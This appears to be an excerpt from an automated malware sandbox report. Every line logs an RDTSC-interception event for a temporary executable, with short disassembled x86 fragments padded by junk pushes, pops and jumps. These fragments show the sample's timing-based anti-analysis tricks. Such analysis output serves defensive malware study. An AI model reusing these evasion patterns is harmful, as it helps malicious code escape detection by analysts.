Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 514F47 second address: 514F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F742CC44206h 0x0000000f ja 00007F742CC44206h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 514F5C second address: 514F62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 519EA9 second address: 519EC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 53A26B second address: 53A281 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F742CEB81CAh 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 426087 second address: 42608F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 426080 second address: 426087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 53C1C3 second address: 53C205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC44211h 0x00000009 jmp 00007F742CC44211h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F742CC44219h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 53BF16 second address: 53BF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 53BF1A second address: 53BF24 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F742CC44206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5573A0 second address: 5573B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 556201 second address: 556208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55635C second address: 556362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 556362 second address: 55637D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC44210h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55637D second address: 556381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 556381 second address: 55638F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F742CC44206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55638F second address: 556393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 556504 second address: 55650A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5567CF second address: 5567EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5567EB second address: 5567F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55703B second address: 55703F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55703F second address: 55704A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 558AD9 second address: 558B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jno 00007F742CEB81C6h 0x0000000c push edx 0x0000000d pop edx 0x0000000e jnp 00007F742CEB81C6h 0x00000014 jc 00007F742CEB81C6h 0x0000001a popad 0x0000001b jmp 00007F742CEB81D4h 0x00000020 popad 0x00000021 pushad 0x00000022 push ebx 0x00000023 jmp 00007F742CEB81D9h 0x00000028 pop ebx 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 558B28 second address: 558B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55B5A2 second address: 55B5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55B697 second address: 55B6A8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F742CC44206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55B87F second address: 55B887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55B887 second address: 55B88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55BB21 second address: 55BB6B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push dword ptr [ebp+122D2F99h] 0x0000000e call 00007F742CEB81D0h 0x00000013 mov dx, 5F92h 0x00000017 pop edx 0x00000018 call 00007F742CEB81C9h 0x0000001d jno 00007F742CEB81D4h 0x00000023 push eax 0x00000024 jc 00007F742CEB81D0h 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55BB6B second address: 55BB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F742CC44219h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55BB93 second address: 55BBB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55BBB0 second address: 55BBB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55EC21 second address: 55EC58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F742CEB81C6h 0x00000009 jmp 00007F742CEB81D5h 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007F742CEB81E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F742CEB81CEh 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55EC58 second address: 55EC5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 55EC5C second address: 55EC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10EBE second address: 4C10EDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10EDB second address: 4C10F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, ax 0x00000010 jmp 00007F742CEB81D4h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10F0C second address: 4C10F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10F12 second address: 4C10F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10F16 second address: 4C10F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10F1A second address: 4C10F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F742CEB81D6h 0x0000000f mov eax, 42C3B991h 0x00000014 pop esi 0x00000015 mov cx, bx 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F742CEB81CFh 0x00000021 jmp 00007F742CEB81D3h 0x00000026 popfd 0x00000027 mov si, 25CFh 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f movzx esi, di 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F742CEB81D3h 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C60028 second address: 4C6002E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C6002E second address: 4C60032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF00B4 second address: 4BF00BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF00BA second address: 4BF00BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF00BE second address: 4BF0177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F742CC44219h 0x0000000f jmp 00007F742CC44210h 0x00000014 pop ecx 0x00000015 mov eax, edi 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F742CC44213h 0x00000020 xor si, 4B1Eh 0x00000025 jmp 00007F742CC44219h 0x0000002a popfd 0x0000002b push esi 0x0000002c mov si, dx 0x0000002f pop edx 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 jmp 00007F742CC44216h 0x00000038 push dword ptr [ebp+04h] 0x0000003b jmp 00007F742CC44210h 0x00000040 push dword ptr [ebp+0Ch] 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F742CC44217h 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF01B7 second address: 4BF01BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF01BD second address: 4BF01C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF01C3 second address: 4BF01C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10B9F second address: 4C10BCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F742CC4420Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10BCC second address: 4C10BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10BD2 second address: 4C10BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10BD6 second address: 4C10C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F742CEB81D4h 0x00000010 jmp 00007F742CEB81D5h 0x00000015 popfd 0x00000016 jmp 00007F742CEB81D0h 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10C23 second address: 4C10C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10C27 second address: 4C10C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10C2D second address: 4C10C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10C33 second address: 4C10C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10C37 second address: 4C10C50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ch, 3Eh 0x0000000d mov esi, edi 0x0000000f popad 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edx, esi 0x00000016 push eax 0x00000017 pop ebx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10C50 second address: 4C10C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C1074E second address: 4C1075F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC4420Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C1075F second address: 4C1077D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C1077D second address: 4C10781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10781 second address: 4C10787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10787 second address: 4C107A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 539FBC27h 0x00000008 mov ebx, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov edi, 2B5E5ECAh 0x00000014 movsx ebx, si 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C107A5 second address: 4C107AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C107AB second address: 4C107B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C107B0 second address: 4C107B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C107B6 second address: 4C107BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C1068E second address: 4C106A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C106A6 second address: 4C106AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C106AA second address: 4C106E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov ah, DFh 0x0000000c mov edx, 647F6A3Ah 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F742CEB81CAh 0x0000001e jmp 00007F742CEB81D5h 0x00000023 popfd 0x00000024 push ecx 0x00000025 pop ebx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C106E6 second address: 4C106EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C1040B second address: 4C10412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C10412 second address: 4C1042F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 call 00007F742CC4420Eh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov al, CEh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C1042F second address: 4C1049E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F742CEB81D9h 0x00000008 and cl, FFFFFFB6h 0x0000000b jmp 00007F742CEB81D1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov bx, si 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F742CEB81CAh 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F742CEB81CDh 0x00000028 and cx, FCC6h 0x0000002d jmp 00007F742CEB81D1h 0x00000032 popfd 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C2026F second address: 4C20273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C20273 second address: 4C20279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C20279 second address: 4C20310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 5679C96Fh 0x00000008 pushfd 0x00000009 jmp 00007F742CC44214h 0x0000000e or ax, A198h 0x00000013 jmp 00007F742CC4420Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F742CC44216h 0x00000022 push eax 0x00000023 jmp 00007F742CC4420Bh 0x00000028 xchg eax, ebp 0x00000029 jmp 00007F742CC44216h 0x0000002e mov ebp, esp 0x00000030 jmp 00007F742CC44210h 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F742CC44217h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F1E second address: 4C50F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F24 second address: 4C50F3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F3D second address: 4C50F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F41 second address: 4C50F47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F47 second address: 4C50F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F4D second address: 4C50F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50F51 second address: 4C50F55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
